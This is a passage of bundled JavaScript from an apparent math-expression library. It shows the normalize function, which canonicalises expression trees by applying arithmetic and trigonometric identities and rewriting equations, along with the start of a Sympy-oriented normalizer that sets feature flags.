normalizeLevel = 0;\n function normalize(options, root) {\n Object(_assert_js__WEBPACK_IMPORTED_MODULE_0__[\"assert\"])(options);\n Object(_assert_js__WEBPACK_IMPORTED_MODULE_0__[\"assert\"])(root && root.args, \"2000: Internal error. root=\" + JSON.stringify(root) + \" options=\" + JSON.stringify(options));\n var nid = ast.intern(root);\n if (root.normalizeNid === nid) {\n return root;\n }\n var cachedNode;\n if ((cachedNode = normalizedNodes[nid]) !== undefined) {\n return cachedNode;\n }\n var rootNid = nid;\n // if (normalizeLevel === 0) {\n // console.log(\"normalize() node: \" + JSON.stringify(stripMetadata(root), null, 2));\n // }\n normalizeLevel++;\n var node = _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].create(options, visit(options, root, {\n name: \"normalize\",\n numeric: function (node) {\n return node;\n },\n additive: function (node) {\n if (node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].SUB) {\n Object(_assert_js__WEBPACK_IMPORTED_MODULE_0__[\"assert\"])(node.args.length === 2, \"2000: Internal error.\");\n node = addNode([node.args[0], negate(node.args[1], true)], true /*flatten*/);\n } else if (node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].PM) {\n Object(_assert_js__WEBPACK_IMPORTED_MODULE_0__[\"assert\"])(node.args.length === 2, \"2000: Operator \\pm can only be used on binary nodes\");\n node = addNode([\n node.args[0],\n unaryNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].PM, [node.args[1]])\n ]);\n } else if (node.args.some(function (arg) {\n return arg.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].INTEGRAL && arg.args.length === 3;\n })) {\n // Have at least one definite integral.\n return normalizeIntegralAddition(node);\n }\n if (node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].MATRIX ||\n node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].BACKSLASH) {\n // Don't flatten matrix nodes.\n return node;\n }\n if (isRepeating(node) && option(options, \"convertRepeatingDecimalToFraction\")) {\n node = repeatingDecimalToFraction(options, node);\n return node;\n }\n var mv = bigZero;\n var args = [];\n node.args.forEach(function (n) {\n if (n.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].NUM && mathValue(options, n, true) &&\n !option(options, \"doingSimplified\")) {\n // The last condition is a secret handshake that says we are in\n // isSimplified so don't merge number.\n mv = mv.plus(mathValue(options, n, true));\n } else {\n args = args.concat(normalize(options, n));\n }\n });\n var isMixedNumber = node.isMixedNumber;\n var isRepeatingFlag = node.isRepeating;\n if (!isZero(mv) || args.length === 0) {\n // Have non-zero term or solo zero term.\n args.unshift(numberNode(options, mv));\n }\n node = newNode(node.op, args);\n if (mathValue(options, node, true) && !option(options, \"doingSimplified\")) {\n // The last condition is a secret handshake that says we are in\n // isSimplified so don't merge number.\n node = commonDenom(node);\n }\n node.isMixedNumber = isMixedNumber;\n node = flattenNestedNodes(node);\n node.isMixedNumber = isMixedNumber;\n node.isRepeating = isRepeatingFlag;\n return sort(node);\n },\n multiplicative: function(node) {\n const normalizeArithmetic = option(options, 'normalizeArithmetic');\n if (node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].CDOT || node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].DIV || node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].FRAC || node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].TIMES || _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].COEFF) {\n node = normalizeMul(node);\n }\n var args = [];\n // Flatten nested multiplication.\n // FIXME can't use flattenNestedNode because of slight differences\n var hasPM;\n let hasMinusOne = false;\n node.args.forEach(function (n) {\n n = normalize(options, n);\n if (isOne(n)) {\n // If number node one, then erase it.\n } else if (isMinusOne(n)) {\n hasMinusOne = !hasMinusOne;\n } else {\n if (n.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].MUL) {\n // Flatten\n args = args.concat(n.args);\n } else if (n.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].PM) {\n hasPM = true;\n args.push(n.args[0]);\n } else {\n args.push(n);\n }\n }\n });\n var isRepeatingFlag = node.isRepeating;\n if (hasMinusOne) {\n if (args.length === 0) {\n args.unshift(nodeMinusOne);\n } else {\n args.unshift(negate(args.shift()));\n }\n }\n if (args.length === 0) {\n node = nodeOne;\n } else if (args.length === 1) {\n node = args[0];\n } else {\n node = sort(binaryNode(node.op, sortFactors(args), true));\n }\n if (hasPM) {\n node = unaryNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].PM, [node]);\n }\n node.isRepeating = isRepeatingFlag;\n return node;\n },\n unary: function(node) {\n if (isGrouping(options, node, normalizeLevel)) {\n return normalize(options, node.args[0]);\n }\n const normalizeArithmetic = option(options, 'normalizeArithmetic');\n switch (node.op) {\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].SUBSCRIPT:\n if (node.args[0].op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].EVALAT) {\n var n = node.args[1];\n if (n.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].EQL) {\n Object(_assert_js__WEBPACK_IMPORTED_MODULE_0__[\"assert\"])(n.args[0].op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].VAR);\n name = n.args[0].args[0];\n n = n.args[1];\n } else {\n var vv = variables(node.args[0]);\n name = vv[0];\n }\n _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].env[name] = {\n type: \"param\",\n node: n,\n };\n node = node.args[0].args[0];\n }\n break;\n }\n var args = [];\n node.args.forEach(function (n) {\n args = args.concat(normalize(options, n));\n });\n node = newNode(node.op, args);\n switch (node.op) {\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].SUBSCRIPT:\n if (node.args[0].op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].EVALAT) {\n }\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].SUB:\n if (node.args[0].op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW && isNeg(options, node.args[0].args[1])) {\n node = negate(node.args[0]);\n } else {\n node = negate(node.args[0], true);\n }\n break;\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].PERCENT:\n if (args[0].op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].NUM) {\n var mv = mathValue(options, args[0]);\n node = numberNode(options, divide(mv, 100));\n } else {\n node = multiplyNode([\n binaryNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW, [\n numberNode(options, \"100\"),\n nodeMinusOne\n ]), args[0]]);\n }\n break;\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].PM:\n if (isNeg(options, mathValue(options, args[0], true))) {\n var args = node.args.slice(0);\n node = newNode(node.op, [negate(args.shift(), true)].concat(args));\n }\n break;\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].FACT:\n var mv = mathValue(options, args[0]);\n if (mv) {\n node = numberNode(options, factorial(mv));\n } else {\n node = unaryNode(node.op, [args[0]]);\n }\n break;\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].SQRT:\n if (!normalizeArithmetic) {\n var base = node.args[0];\n var root = node.args[1];\n node = newNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW, [base, newNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW, [root, nodeMinusOne])]);\n }\n break;\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].INT:\n node = normalizeIntegral(node);\n break;\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].SIN:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].COS:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].SINH:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].COSH:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].ARCSINH:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].ARCCOSH:\n if (!normalizeArithmetic) {\n node = normalizeTrigIdent(node);\n }\n break;\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].TAN:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].TANH:\n var arg0 = normalize(options, node.args[0]);\n // tan x = sin x / cos x\n if (!normalizeArithmetic) {\n const s = node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].TAN ? _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].SIN : _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].SINH;\n const c = node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].TAN ? _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].COS : _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].COSH;\n node = multiplyNode([\n newNode(s, [arg0]),\n binaryNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW, [\n newNode(c, [arg0]),\n nodeMinusOne\n ])\n ]);\n }\n break;\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].COT:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].COTH:\n var arg0 = normalize(options, node.args[0]);\n var s = node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].COT ? _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].SIN : _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].SINH;\n var c = node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].COT ? _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].COS : _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].COSH;\n if (!normalizeArithmetic) {\n node = multiplyNode([\n newNode(c, [arg0]),\n binaryNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW, [\n newNode(s, [arg0]),\n nodeMinusOne\n ])\n ]);\n }\n break;\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].SEC:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].SECH:\n var arg0 = normalize(options, node.args[0]);\n if (!normalizeArithmetic) {\n const c = node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].SEC ? _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].COS : _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].COSH;\n node = multiplyNode([\n binaryNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW, [\n newNode(c, [arg0]),\n nodeMinusOne\n ])\n ]);\n }\n break;\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].CSC:\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].CSCH:\n var arg0 = normalize(options, node.args[0]);\n if (!normalizeArithmetic) {\n const s = node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].CSC ? _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].SIN : _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].SINH;\n node = multiplyNode([\n binaryNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW, [\n newNode(s, [arg0]),\n nodeMinusOne\n ])\n ]);\n }\n break;\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].ABS:\n node = normalizeAbs(node);\n break;\n default:\n // Do nothing.\n break;\n }\n return node;\n },\n variable: function(node) {\n var val;\n if (node.args[0] === \"i\" && !option(options, \"dontSimplifyImaginary\")) {\n node = nodeImaginary;\n } else if (node.args[0] === \"\\\\infty\") {\n node = nodePositiveInfinity;\n } else if (node.args[0] === \"\\\\radian\") {\n node = nodeOne; // Assume radians\n } else if (node.args[0] === \"\\\\degree\") {\n node = fractionNode(nodePI, numberNode(options, \"180\"));\n } else if (_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].env[node.args[0]] &&\n _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].env[node.args[0]].type === \"param\") {\n node = _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].env[node.args[0]].node;\n } else if (option(options, \"treatLettersAsVariables\") &&\n _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].env[node.args[0]] &&\n _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].env[node.args[0]].type === \"unit\") {\n var vv = [];\n node.args[0].split(\"\").forEach(function (v) {\n vv.push(variableNode(v));\n });\n return multiplyNode(vv);\n } else if ((val = _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].env[node.args[0]]) &&\n val.type === \"param\") {\n node = val.value;\n }\n return node;\n },\n exponential: function(node) {\n let n0 = node;\n if (node.args.length === 2 &&\n node.args[0].op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].VAR &&\n node.args[1].op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].VAR &&\n node.args[1].args[0].indexOf(\"'\") === 0) {\n // Merge primes. We use POW to encode primes.\n node = variableNode(node.args[0].args[0] + node.args[1].args[0]);\n return node;\n }\n var isUnit = false;\n var base = node.args[0];\n var expo = node.args[1];\n // TODO more identities here.\n if (node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW && node.args.length === 2 && base.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].TANH &&\n expo.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].NUM && expo.args[0] === \"2\") {\n // tanh^2 = 1 - sech^2\n return addNode([\n nodeOne,\n negate(binaryNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW, [\n binaryNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW, [\n newNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].COSH, base.args),\n nodeTwo]),\n nodeMinusOne\n ]))\n ]);\n } else if (node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW && node.args.length === 2 &&\n base.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].SINH && ast.intern(expo) === ast.intern(nodeTwo)) {\n // sinh^2 = cosh^2 - 1\n return addNode([\n binaryNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW, [\n newNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].COSH, base.args),\n nodeTwo]),\n nodeMinusOne\n ]);\n } else if (node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW && node.args.length === 2 && base.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].COTH &&\n expo.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].NUM && expo.args[0] === \"2\") {\n // coth^2 = 1 + csch^2 = (1 + sin^2)/sin^2\n return addNode([\n nodeOne, binaryNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW, [\n binaryNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW, [\n newNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].SINH, base.args),\n nodeTwo]),\n nodeMinusOne\n ])\n ]);\n } else if (node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW && node.args.length === 2 && base.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].SECH &&\n expo.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].NUM && expo.args[0] === \"2\") {\n // sech^2 = 1/cosh^2\n return binaryNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW, [binaryNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW, [newNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].COSH, base.args), nodeTwo]), nodeMinusOne]);\n } else if (node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW && node.args.length === 2 && base.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].CSCH &&\n expo.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].NUM && expo.args[0] === \"2\") {\n // csch^2 = 1/sinh^2\n return binaryNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW, [binaryNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW, [newNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].SINH, base.args), nodeTwo]), nodeMinusOne]);\n } else if (option(options, \"treatLettersAsVariables\") &&\n base.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].VAR &&\n _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].env[base.args[0]] &&\n _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].env[base.args[0]].type === \"unit\") {\n isUnit = true;\n }\n var args = [];\n let hasMinusOne = false;\n node.args.forEach(function (n) {\n args = args.concat(normalize(options, n));\n });\n node = newNode(node.op, args);\n var args = [];\n switch(node.op) {\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].LOG:\n // log_e has special meaning so don't normalize 'e' in that case.\n if (ast.intern(node.args[0]) === ast.intern(nodeE)) {\n args.push(nodeE);\n } else {\n args.push(normalize(options, node.args[0]));\n }\n if (node.args.length > 1) {\n args = args.concat(node.args.slice(1));\n }\n node = normalizeLogIdent(args[0], args[1]);\n break;\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW:\n if (isMinusOne(node.args[0]) && toNumber(mathValue(options, node.args[1], true)) === 0.5) {\n return nodeImaginary;\n } else if (isMinusOne(node.args[0]) && isMinusOne(node.args[1])) {\n return nodeMinusOne;\n } else if (node.args.length === 2 && node.args[1].op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].LOG) {\n // y^{log{x}} => x^{log{y}}\n var n1 = node.args[0];\n var n2 = node.args[1].args[1];\n var base = node.args[1].args[0];\n var args = sort(multiplyNode([n1, n2])).args; // Synthetic node for sorting.\n return binaryNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW, [\n args[0],\n binaryNode(node.args[1].op, [base, args[1]])\n ]);\n } else if (option(options, \"treatLettersAsVariables\") && isUnit && node.args[0].op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].MUL) {\n // Associate power to last variable of base.\n var base = node.args[0];\n var last = base.args.pop();\n base = base.args.length === 1 && base[0] || base;\n node = multiplyNode([base, binaryNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW, [last, node.args[1]])]);\n }\n break;\n default:\n break;\n }\n return node;\n },\n comma: function(node) {\n var vals = [];\n node.args.forEach(function (n) {\n vals = vals.concat(normalize(options, n));\n });\n var node = newNode(node.op, vals);\n return sort(node);\n },\n equals: function(node) {\n Object(_assert_js__WEBPACK_IMPORTED_MODULE_0__[\"assert\"])(node.args.length === 2, \"2000: Internal error.\");\n var args = [];\n node.args.forEach(function (n) {\n n = normalize(options, n);\n args.push(n);\n });\n node = binaryNode(node.op, args);\n if (node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].GT || node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].GE || node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].NLESS) {\n // Normalize inequalities to LT and LE. (GE || NLESS) --> LE\n node.op = node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].GT ? _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].LT : _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].LE;\n // Swap args.\n var t = node.args[0];\n node.args[0] = node.args[1];\n node.args[1] = t;\n } else if (node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].NGTR) {\n // Normalize NGTR --> LE. Don't need to swap args.\n node.op = _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].LE;\n }\n node = sort(node); // Sort so that the lnodes after reconstruction compare\n // Doesn't seem to help, yet.\n // node = cancelEquals(node);\n // If the rhs is not already normalized to 0, then normalize it now.\n if (node.op !== _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].COLON &&\n !isZero(mathValue(options, node.args[1], true))) {\n // a=b -> a-b=0\n node = binaryNode(node.op, [\n addNode([\n node.args[0],\n multiplyNode([nodeMinusOne, node.args[1]], true) // Flatten, don't use negate.\n ], true),\n nodeZero,\n ]);\n } else if (!isZero(mathValue(options, node.args[1], true)) && !isOne(mathValue(options, node.args[1], true))) {\n node = binaryNode(node.op, [\n multiplyNode([\n node.args[0],\n binaryNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW, [node.args[1], nodeMinusOne])\n ]),\n nodeOne,\n ]);\n }\n if (node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].COLON) {\n // RHS is now 1 the ratio is expressed by the LHS.\n node = node.args[0];\n }\n return node;\n }\n }), root.location);\n normalizeLevel--;\n // If the node has changed, simplify again\n while (nid !== ast.intern(node)) {\n nid = ast.intern(node);\n // console.log(\"normalize() nid=\" + nid);\n // if (nid === 91 || nid === 94) {\n // console.log(\"normalize() node=\" + JSON.stringify(stripMetadata(JSON.parse(JSON.stringify(node))), null, 2))\n // }\n node = normalize(options, node);\n }\n node.normalizeNid = nid;\n normalizedNodes[rootNid] = node;\n return node;\n }\n\n function tagNode(node) {\n node.flags = _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].flags;\n if (node.flags.hasSum || node.flags.hasIntegral ||\n node.flags.hasLim || node.flags.hasDeriv) {\n node.flags.hasCalculus = true;\n } else if (!node.flags.hasRel &&\n !node.flags.hasMatrix &&\n !node.flags.hasComma) {\n if (mathValue(options, normalize(options, node), true) || variablePart(node) === null) {\n node.flags.isNumeric = true;\n } else if (node.flags.hasTrig || node.flags.hasHyperTrig ||\n node.flags.hasExpo || node.flags.hasLog) {\n node.flags.isAlgebraic = false;\n } else {\n node.flags.isAlgebraic = true;\n }\n }\n }\n\n var normalizeSympyLevel = 0;\n function normalizeSympy(options, root) {\n Object(_assert_js__WEBPACK_IMPORTED_MODULE_0__[\"assert\"])(root && root.args, \"2000: Internal error.\");\n var nid = ast.intern(root);\n // if (normalizeSympyLevel === 0) {\n // console.log(\"normalizeSympy() node: \" + JSON.stringify(stripNids(root), null, 2));\n // }\n normalizeSympyLevel++;\n var node = _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].create(options, visit(options, root, {\n name: \"normalize\",\n numeric: function (node) {\n return node;\n },\n additive: function (node) {\n var args = [];\n node.args.forEach(function (n) {\n args = args.concat(normalizeSympy(options, n));\n });\n // if (node.isRepeating) {\n // // Strip leading '0.' from repeating part.\n // assert(args[1].op === Model.NUM && args[1].args[0].charAt(0) === '0' && args[1].args[0].charAt(1) === '.');\n // args[1].args[0] = args[1].args[0].slice(2);\n // }\n return Object.assign({}, node, newNode(node.op, args));\n },\n multiplicative: function(node) {\n _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].flags.hasFrac =\n _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].flags.hasFrac ||\n node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].FRAC;\n var args = [];\n node.args.forEach(function (n) {\n args = args.concat(normalizeSympy(options, n));\n });\n return Object.assign({}, node, binaryNode(node.op, args, true));\n },\n unary: function(node) {\n Object(_assert_js__WEBPACK_IMPORTED_MODULE_0__[\"assert\"])(node.op !== _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].NONE, Object(_assert_js__WEBPACK_IMPORTED_MODULE_0__[\"message\"])(2002));\n if (isGrouping(options, node, normalizeSympyLevel)) {\n return normalizeSympy(options, node.args[0]);\n }\n if (node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].PAREN && node.args.length === 1 && node.args[0].op !== _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].COMMA) {\n return normalizeSympy(options, node.args[0]);\n }\n _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].flags.hasAbs =\n _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].flags.hasAbs ||\n node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].ABS;\n _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].flags.hasSum =\n _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].flags.hasSum ||\n node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].SUM;\n _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].flags.hasIntegral =\n _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].flags.hasIntegral ||\n node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].INTEGRAL;\n _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].flags.hasDeriv =\n _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].flags.hasDeriv ||\n node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].DERIV;\n _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].flags.hasLim =\n _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].flags.hasLim ||\n node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].LIM;\n _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].flags.hasTrig =\n _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].flags.hasTrig ||\n node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].SIN ||\n node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].COS ||\n node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].TAN ||\n node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].SEC ||\n node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].COT ||\n node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].CSC ||\n node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].ARCSIN ||\n node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].ARCCOS ||\n node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].ARCTAN ||\n node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].ARCSEC ||\n node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].ARCCSC ||\n node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].ARCCOT;\n _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].flags.hasHyperTrig =\n _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].flags.hasHyperTrig ||\n node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].SINH ||\n node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].COSH ||\n node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].TANH ||\n node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].SECH ||\n node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].COTH ||\n node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].CSCH ||\n node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].ARCSINH ||\n node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].ARCCOSH ||\n node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].ARCTANH ||\n node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].ARCSECH ||\n node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].ARCCSCH ||\n node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].ARCCOTH;\n var args = [];\n node.args.forEach(function (n) {\n args = args.concat(normalizeSympy(options, n));\n });\n return Object.assign({}, node, newNode(node.op, args));\n },\n variable: function(node) {\n _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].flags.hasComma =\n _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].flags.hasComma ||\n node.args[0] === \"\\\\emptyset\";\n return node;\n },\n exponential: function(node) {\n var args = [];\n node.args.forEach(function (n) {\n args = args.concat(normalizeSympy(options, n));\n });\n _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].flags.hasLog =\n _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].flags.hasLog ||\n node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].LOG ||\n node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].LN;\n _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].flags.hasExpo =\n _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].flags.hasExpo ||\n node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW &&\n (node.args[1].op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].VAR || variablePart(node.args[1]) !== null);\n _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].flags.hasFrac =\n 